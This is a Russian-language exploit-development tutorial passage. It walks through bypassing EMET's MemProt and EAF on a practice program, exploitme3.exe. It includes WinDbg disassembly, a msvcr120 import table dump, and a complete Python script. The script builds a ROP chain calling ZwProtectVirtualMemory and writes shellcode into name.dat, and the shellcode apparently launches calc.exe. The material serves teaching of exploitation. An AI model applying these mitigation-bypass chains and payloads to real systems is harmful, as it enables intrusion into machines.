Если вы внимательно изучите код VirtualProtectEx, то увидите, что параметры, на которые указывает EDX в ZwProtectVirtualMemory, идут в другом порядке, отличном от того, в котором они передавались в VirtualProtectEx. Чтобы рассмотреть все получше, давайте отключим MemProt, затем перезагрузим (Ctrl+Shift+F5) exploitme3.exe в WinDbg и установим следующий брейкпойнт:
bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"
Он остановит выполнение программы на вызове функции VirtualProtectEx, которую вызовет наша ROP-цепочка. Установив этот брейкпойнт, нажимаем F5 (Go) и попадем сюда:
KERNELBASE!VirtualProtectEx:
7625ee9c 8bff mov edi,edi <-------------------- we are here!
7625ee9e 55 push ebp
7625ee9f 8bec mov ebp,esp
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h]
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h]
7625eeb2 50 push eax
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax
7625eeb7 ff7508 push dword ptr [ebp+8]
7625eeba ffd6 call esi
На этот раз, как и ожидалось, нет хуков. Вот наши 5 параметров в стеке:
Давайте посмотрим, как они кладутся в стек:
KERNELBASE!VirtualProtectEx:
7625ee9c 8bff mov edi,edi <-------------------- we are here!
7625ee9e 55 push ebp
7625ee9f 8bec mov ebp,esp
7625eea1 56 push esi
7625eea2 8b35c0112576 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57 push edi
7625eea9 ff7518 push dword ptr [ebp+18h] // lpflOldProtect (writable location)
7625eeac 8d4510 lea eax,[ebp+10h]
7625eeaf ff7514 push dword ptr [ebp+14h] // PAGE_EXECUTE_READWRITE
7625eeb2 50 push eax // ptr to size
7625eeb3 8d450c lea eax,[ebp+0Ch]
7625eeb6 50 push eax // ptr to address
7625eeb7 ff7508 push dword ptr [ebp+8] // 0xffffffff (current process)
7625eeba ffd6 call esi
Войдите в вызов:
ntdll!ZwProtectVirtualMemory:
76eb0038 b84d000000 mov eax,4Dh
76eb003d 33c9 xor ecx,ecx
76eb003f 8d542404 lea edx,[esp+4]
76eb0043 64ff15c0000000 call dword ptr fs:[0C0h]
76eb004a 83c404 add esp,4
76eb004d c21400 ret 14h
EDX будет указывать на эти 5-ть параметров в следующем порядке:
0xffffffff (current process)
ptr to address
ptr to size
PAGE_EXECUTE_READWRITE
lpflOldProtect (writable location)
Вот конкретный пример:
Прежде, чем тратить наше время на создание новой ROP-цепочки, которая могла бы не работать, нам нужно убедиться, что мы не столкнемся с еще какими-нибудь сюрпризами.
Один из самых простых способов сделать это, заключается в том, чтобы отладить exploitme3.exe с включенным MemProt и перезаписанными хуками EMET, которые следует заменить на оригинальный код. Если все работает хорошо, тогда можно продолжить. Я оставлю вам это в качестве упражнения (сделайте это!).
Создание ROP-цепочки
Даже при том, что, для очистки отладочных регистров, мы будем использовать вызов сервиса ядра, как делали это ранее, на этот раз все будет намного сложнее, потому что нам нужно сделать это с помощью ROP-гаджетов.
Основная проблема здесь в том, что msvcr120.dll не содержит ни одного вызова call dword ptr fs:[0C0h] или его вариаций, таких как call fs:[eax] или fs:eax. Однако, мы знаем, что в ntdll есть много таких вызовов, поэтому может у нас получится найти способ получить один из таких адресов?
Давайте посмотрим на таблицу импорта (IAT, Import Address Table) из msvcr120.dll:
0:000> !dh msvcr120
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
5 number of sections
524F7CE6 time date stamp Sat Oct 05 04:43:50 2013
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2122 characteristics
Executable
App can handle >2gb addresses
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
12.00 linker version
DC200 size of code
DC00 size of initialized data
0 size of uninitialized data
11A44 address of entry point
1000 base of code
----- new -----
73c60000 image base
1000 section alignment
200 file alignment
2 subsystem (Windows GUI)
6.00 operating system version
10.00 image version
6.00 subsystem version
EE000 size of image
400 size of headers
FB320 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
1860 [ CED0] address of Export Directory
E52BC [ 28] address of Import Directory
E7000 [ 3E8] address of Resource Directory
0 [ 0] address of Exception Directory
E9200 [ 3EA0] address of Security Directory
E8000 [ 5D64] address of Base Relocation Directory
DD140 [ 38] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
19E48 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
E5000 [ 2BC] address of Import Address Table Directory <------------------------
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
[...]
0:000> dds msvcr120+E5000 L 2bc/4
73d45000 76ed107b ntdll!RtlEncodePointer
73d45004 76ec9dd5 ntdll!RtlDecodePointer
73d45008 763b586e kernel32!RaiseExceptionStub
73d4500c 763b11c0 kernel32!GetLastErrorStub
73d45010 763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
73d45014 763b3470 kernel32!GetModuleHandleWStub
73d45018 763b4a37 kernel32!GetModuleHandleExWStub
73d4501c 763b1222 kernel32!GetProcAddressStub
73d45020 76434611 kernel32!AreFileApisANSIStub
73d45024 763b18fa kernel32!MultiByteToWideCharStub
73d45028 763b16d9 kernel32!WideCharToMultiByteStub
73d4502c 763b5169 kernel32!GetCommandLineAStub
73d45030 763b51eb kernel32!GetCommandLineWStub
73d45034 763b1420 kernel32!GetCurrentThreadIdStub
73d45038 76eb22c0 ntdll!RtlEnterCriticalSection
73d4503c 76eb2280 ntdll!RtlLeaveCriticalSection
73d45040 76ec4625 ntdll!RtlDeleteCriticalSection
73d45044 763b1481 kernel32!GetModuleFileNameAStub
73d45048 763b11a9 kernel32!SetLastError
73d4504c 763b17b8 kernel32!GetCurrentThreadStub
73d45050 763b4918 kernel32!GetModuleFileNameWStub
73d45054 763b51fd kernel32!IsProcessorFeaturePresent
73d45058 763b517b kernel32!GetStdHandleStub
73d4505c 763b1282 kernel32!WriteFileImplementation
73d45060 763b440a kernel32!FindCloseStub
73d45064 764347bf kernel32!FindFirstFileExAStub
73d45068 763dd52e kernel32!FindNextFileAStub
73d4506c 763c17d9 kernel32!FindFirstFileExWStub
73d45070 763b54b6 kernel32!FindNextFileWStub
73d45074 763b13e0 kernel32!CloseHandleImplementation
73d45078 763b3495 kernel32!CreateThreadStub
73d4507c 76ee801c ntdll!RtlExitUserThread
73d45080 763b43b7 kernel32!ResumeThreadStub
73d45084 763b4925 kernel32!LoadLibraryExWStub
73d45088 763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
73d4508c 763b53f4 kernel32!FileTimeToSystemTimeStub
73d45090 7643487f kernel32!GetDiskFreeSpaceAStub
73d45094 763b5339 kernel32!GetLogicalDrivesStub
73d45098 763b1acc kernel32!SetErrorModeStub
73d4509c 764256f0 kernel32!BeepImplementation
73d450a0 763b10ff kernel32!SleepStub
73d450a4 763be289 kernel32!GetFullPathNameAStub
73d450a8 763b11f8 kernel32!GetCurrentProcessIdStub
73d450ac 763b453c kernel32!GetFileAttributesExWStub
73d450b0 763cd4c7 kernel32!SetFileAttributesWStub
73d450b4 763b409c kernel32!GetFullPathNameWStub
73d450b8 763b4221 kernel32!CreateDirectoryWStub
73d450bc 763c9b05 kernel32!MoveFileExW
73d450c0 76434a0f kernel32!RemoveDirectoryWStub
73d450c4 763b4153 kernel32!GetDriveTypeWStub
73d450c8 763b897b kernel32!DeleteFileWStub
73d450cc 763be2f9 kernel32!SetEnvironmentVariableAStub
73d450d0 763c17fc kernel32!SetCurrentDirectoryAStub
73d450d4 763dd4e6 kernel32!GetCurrentDirectoryAStub
73d450d8 763c1228 kernel32!SetCurrentDirectoryWStub
73d450dc 763b55d9 kernel32!GetCurrentDirectoryWStub
73d450e0 763b89b9 kernel32!SetEnvironmentVariableWStub
73d450e4 763b1136 kernel32!WaitForSingleObject
73d450e8 763c1715 kernel32!GetExitCodeProcessImplementation
73d450ec 763b1072 kernel32!CreateProcessA
73d450f0 763b3488 kernel32!FreeLibraryStub
73d450f4 763b48db kernel32!LoadLibraryExAStub
73d450f8 763b103d kernel32!CreateProcessW
73d450fc 763b3e93 kernel32!ReadFileImplementation
73d45100 763d273c kernel32!GetTempPathA
73d45104 763cd4ac kernel32!GetTempPathW
73d45108 763b1852 kernel32!DuplicateHandleImplementation
73d4510c 763b17d5 kernel32!GetCurrentProcessStub
73d45110 763b34c9 kernel32!GetSystemTimeAsFileTimeStub
73d45114 763b4622 kernel32!GetTimeZoneInformationStub
73d45118 763b5a6e kernel32!GetLocalTimeStub
73d4511c 763dd4fe kernel32!LocalFileTimeToFileTimeStub
73d45120 763cec8b kernel32!SetFileTimeStub
73d45124 763b5a46 kernel32!SystemTimeToFileTimeStub
73d45128 76434a6f kernel32!SetLocalTimeStub
73d4512c 76ec47a0 ntdll!RtlInterlockedPopEntrySList
73d45130 76ec27b5 ntdll!RtlInterlockedFlushSList
73d45134 76ec474c ntdll!RtlQueryDepthSList
73d45138 76ec4787 ntdll!RtlInterlockedPushEntrySList
73d4513c 763db000 kernel32!CreateTimerQueueStub
73d45140 763b1691 kernel32!SetEventStub
73d45144 763b1151 kernel32!WaitForSingleObjectExImplementation
73d45148 7643ebeb kernel32!UnregisterWait
73d4514c 763b11e0 kernel32!TlsGetValueStub
73d45150 763cf874 kernel32!SignalObjectAndWait
73d45154 763b14cb kernel32!TlsSetValueStub
73d45158 763b327b kernel32!SetThreadPriorityStub
73d4515c 7643462b kernel32!ChangeTimerQueueTimerStub
73d45160 763cf7bb kernel32!CreateTimerQueueTimerStub
73d45164 76432482 kernel32!GetNumaHighestNodeNumber
73d45168 763dcaf5 kernel32!RegisterWaitForSingleObject
73d4516c 76434ca1 kernel32!GetLogicalProcessorInformationStub
73d45170 763ccd9d kernel32!RtlCaptureStackBackTraceStub
73d45174 763b4387 kernel32!GetThreadPriorityStub
73d45178 763ba839 kernel32!GetProcessAffinityMask
73d4517c 763d0570 kernel32!SetThreadAffinityMask
73d45180 763b4975 kernel32!TlsAllocStub
73d45184 763cf7a3 kernel32!DeleteTimerQueueTimerStub
73d45188 763b3547 kernel32!TlsFreeStub
73d4518c 763cefbc kernel32!SwitchToThreadStub
73d45190 76ec2540 ntdll!RtlTryEnterCriticalSection
73d45194 7643347c kernel32!SetProcessAffinityMask
73d45198 763b183a kernel32!VirtualFreeStub
73d4519c 763b1ab1 kernel32!GetVersionExWStub
73d451a0 763b1822 kernel32!VirtualAllocStub
73d451a4 763b4327 kernel32!VirtualProtectStub
73d451a8 76ec9514 ntdll!RtlInitializeSListHead
73d451ac 763cd37b kernel32!ReleaseSemaphoreStub
73d451b0 763db901 kernel32!UnregisterWaitExStub
73d451b4 763b48f3 kernel32!LoadLibraryW
73d451b8 763dd1c4 kernel32!OutputDebugStringWStub
73d451bc 763cd552 kernel32!FreeLibraryAndExitThreadStub
73d451c0 763b1245 kernel32!GetModuleHandleAStub
73d451c4 7643592b kernel32!GetThreadTimes
73d451c8 763b180a kernel32!CreateEventWStub
73d451cc 763b1912 kernel32!GetStringTypeWStub
73d451d0 763b445b kernel32!IsValidCodePageStub
73d451d4 763b1768 kernel32!GetACPStub
73d451d8 763dd191 kernel32!GetOEMCPStub
73d451dc 763b5151 kernel32!GetCPInfoStub
73d451e0 763dd1b3 kernel32!RtlUnwindStub
73d451e4 763b1499 kernel32!HeapFree
73d451e8 76ebe046 ntdll!RtlAllocateHeap
73d451ec 763b14b9 kernel32!GetProcessHeapStub
73d451f0 76ed2561 ntdll!RtlReAllocateHeap
73d451f4 76ec304a ntdll!RtlSizeHeap
73d451f8 7643493f kernel32!HeapQueryInformationStub
73d451fc 763cb153 kernel32!HeapValidateStub
73d45200 763b46df kernel32!HeapCompactStub
73d45204 7643496f kernel32!HeapWalkStub
73d45208 763b4992 kernel32!GetSystemInfoStub
73d4520c 763b4422 kernel32!VirtualQueryStub
73d45210 763b34f1 kernel32!GetFileTypeImplementation
73d45214 763b4d08 kernel32!GetStartupInfoWStub
73d45218 763be266 kernel32!FileTimeToLocalFileTimeStub
73d4521c 763b5376 kernel32!GetFileInformationByHandleStub
73d45220 76434d61 kernel32!PeekNamedPipeStub
73d45224 763b3f1c kernel32!CreateFileWImplementation
73d45228 763b1328 kernel32!GetConsoleMode
73d4522c 764578d2 kernel32!ReadConsoleW
73d45230 76458137 kernel32!GetConsoleCP
73d45234 763cc7df kernel32!SetFilePointerExStub
73d45238 763b4663 kernel32!FlushFileBuffersImplementation
73d4523c 7643469b kernel32!CreatePipeStub
73d45240 76434a8f kernel32!SetStdHandleStub
73d45244 76457e77 kernel32!GetNumberOfConsoleInputEvents
73d45248 76457445 kernel32!PeekConsoleInputA
73d4524c 7645748b kernel32!ReadConsoleInputA
73d45250 763ca755 kernel32!SetConsoleMode
73d45254 764574ae kernel32!ReadConsoleInputW
73d45258 763d7a92 kernel32!WriteConsoleW
73d4525c 763cce06 kernel32!SetEndOfFileStub
73d45260 763dd56c kernel32!LockFileExStub
73d45264 763dd584 kernel32!UnlockFileExStub
73d45268 763b4a25 kernel32!IsDebuggerPresentStub
73d4526c 763d76f7 kernel32!UnhandledExceptionFilter
73d45270 763b8791 kernel32!SetUnhandledExceptionFilter
73d45274 763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub
73d45278 763cd7d2 kernel32!TerminateProcessStub
73d4527c 763b110c kernel32!GetTickCountStub
73d45280 763cca32 kernel32!CreateSemaphoreW
73d45284 763b89d1 kernel32!SetConsoleCtrlHandler
73d45288 763b16f1 kernel32!QueryPerformanceCounterStub
73d4528c 763b51ab kernel32!GetEnvironmentStringsWStub
73d45290 763b5193 kernel32!FreeEnvironmentStringsWStub
73d45294 763d34a7 kernel32!GetDateFormatW
73d45298 763cf451 kernel32!GetTimeFormatW
73d4529c 763b3b8a kernel32!CompareStringWStub
73d452a0 763b1785 kernel32!LCMapStringWStub
73d452a4 763b3c02 kernel32!GetLocaleInfoWStub
73d452a8 763cce1e kernel32!IsValidLocaleStub
73d452ac 763b3d65 kernel32!GetUserDefaultLCIDStub
73d452b0 7643479f kernel32!EnumSystemLocalesWStub
73d452b4 763db297 kernel32!OutputDebugStringAStub
73d452b8 00000000
Я последовательно исследовал каждую функцию из ntdll, пока не нашёл подходящего кандидата: ntdll!RtlExitUserThread.
Давайте рассмотрим его:
ntdll!RtlExitUserThread:
76ee801c 8bff mov edi,edi
76ee801e 55 push ebp
76ee801f 8bec mov ebp,esp
76ee8021 51 push ecx
76ee8022 56 push esi
76ee8023 33f6 xor esi,esi
76ee8025 56 push esi
76ee8026 6a04 push 4
76ee8028 8d45fc lea eax,[ebp-4]
76ee802b 50 push eax
76ee802c 6a0c push 0Ch
76ee802e 6afe push 0FFFFFFFEh
76ee8030 8975fc mov dword ptr [ebp-4],esi
76ee8033 e8d07bfcff call ntdll!NtQueryInformationThread (76eafc08) <-------------------
Теперь посмотрим на ntdll!NtQueryInformationThread:
ntdll!NtQueryInformationThread:
76eafc08 b822000000 mov eax,22h
76eafc0d 33c9 xor ecx,ecx
76eafc0f 8d542404 lea edx,[esp+4]
76eafc13 64ff15c0000000 call dword ptr fs:[0C0h]
76eafc1a 83c404 add esp,4
76eafc1d c21400 ret 14h
Отлично! Теперь, как можно определить адрес нужного вызова call dword ptr fs:[0C0h]?
Мы знаем адрес ntdll!RtlExitUserThread, потому что он имеет фиксированный RVA в IAT из msvcr120. По адресу ntdll!RtlExitUserThread+0x17 у нас находится вызов ntdll!NtQueryInformationThread. Этот вызов имеет следующий формат:
here:
E8 offset
Адрес вызова вычисляется так:
here + offset + 5
В нашем ROP, мы можем вычислить адрес ntdll!NtQueryInformationThread следующим образом:
EAX = 0x7056507c ; ptr to address of ntdll!RtlExitUserThread (IAT)
EAX = [EAX] ; address of ntdll!RtlExitUserThread
EAX += 0x18 ; address of "offset" component of call to ntdll!NtQueryInformationThread
EAX += [EAX] + 4 ; address of ntdll!NtQueryInformationThread
EAX += 0xb ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
Теперь мы готовы построить полную ROP-цепочку! Как обычно, будем использовать mona:
.load pykd.pyd
!py mona rop -m msvcr120
Вот полный скрипт на Питоне:
import struct
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
# ecx = esp
md + 0x704af28c, # POP ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0xffffffff,
md + 0x70532761, # AND ECX,ESP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
# ecx = args+8 (&endAddress)
md + 0x704f4681, # POP EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
75*4,
md + 0x7054b28e, # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
# address = ptr to address
md + 0x704f2487, # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704846b4, # XCHG EAX,EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04
# ecx = args+4 (ptr to &address)
md + 0x704f4681, # POP EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0xfffffff0,
md + 0x7054b28e, # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
# &address = ptr to address
md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04
# ecx = args+8 (ptr to &size)
md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x705370e0, # INC ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
# edx = ptr to size
md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704e4ffe, # INC EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
# &size = ptr to size
md + 0x704e986b, # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04
# edx = args
md + 0x704f2487, # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x7053fe65, # SUB EAX,2 # POP EBP # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
md + 0x704846b4, # XCHG EAX,EDX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
# EAX = ntdll!RtlExitUserThread
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7056507c, # IAT: &ntdll!RtlExitUserThread
md + 0x70501e19, # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,
# EAX = ntdll!NtQueryInformationThread
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704a691c, # ADD EAX,DWORD PTR [EAX] # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
md + 0x704ecd87, # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04
# EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
# EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x704819e8, # XCHG EAX,EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
# ECX = 0; EAX = 0x4d
md + 0x704f2485, # XOR ECX,ECX # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x4d,
md + 0x704c0a08, # JMP EBX
md + 0x7055adf3, # JMP ESP
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
# real_code:
0x90901eeb, # jmp skip
# args:
0xffffffff, # current process handle
0x11111111, # &address = ptr to address
0x11111111, # &size = ptr to size
0x40,
md + 0x705658f2, # &Writable location [MSVCR120.dll]
# end_args:
0x11111111, # address <------- the region starts here
code_size + 8 # size
# skip:
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\xB8\x50\x01\x00\x00" + # mov eax,150h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x8B\xD4" + # mov edx,esp
"\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h]
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
Первая часть ROP-цепочки инициализирует аргументы, которые размещены в её конце:
# real_code:
0x90901eeb, # jmp skip
# args:
0xffffffff, # current process handle
0x11111111, # &address = ptr to address
0x11111111, # &size = ptr to size
0x40,
md + 0x705658f2, # &Writable location [MSVCR120.dll]
# end_args:
0x11111111, # address <------- the region starts here
code_size + 8 # size
Второй аргумент (&address) перезаписывается end_args, а третий аргумент (&size) перезаписывается end_args + 4. В заключение, адрес в end_args перезаписывается своим адресом (end_args).
Обратите внимание на то, что наш код начинается с real_code, таким образом мы должны перезаписать адрес с real_code, но в этом нет никакой необходимости, потому что VirtualProtect работает со страницами, поэтому с большой вероятностью, real_code и end_args будут указывать на туже страницу.
Вторая часть ROP-цепочки находит вызов call dword ptr fs:[0C0h] # add esp,4 # ret 14h в ntdll.dll и осуществляет вызов сервиса ядра.
Итак, у нас все готово, приступим к запуску. Для этого, сначала запустите Python скрипт. Он создаст файл name.dat. Затем запустите наш эксплойт exploitme3.exe. Он должен работать просто великолепно!
Теперь можете включить все виды защит (за исключением ASR) и убедиться в том, что наш эксплойт все еще работает!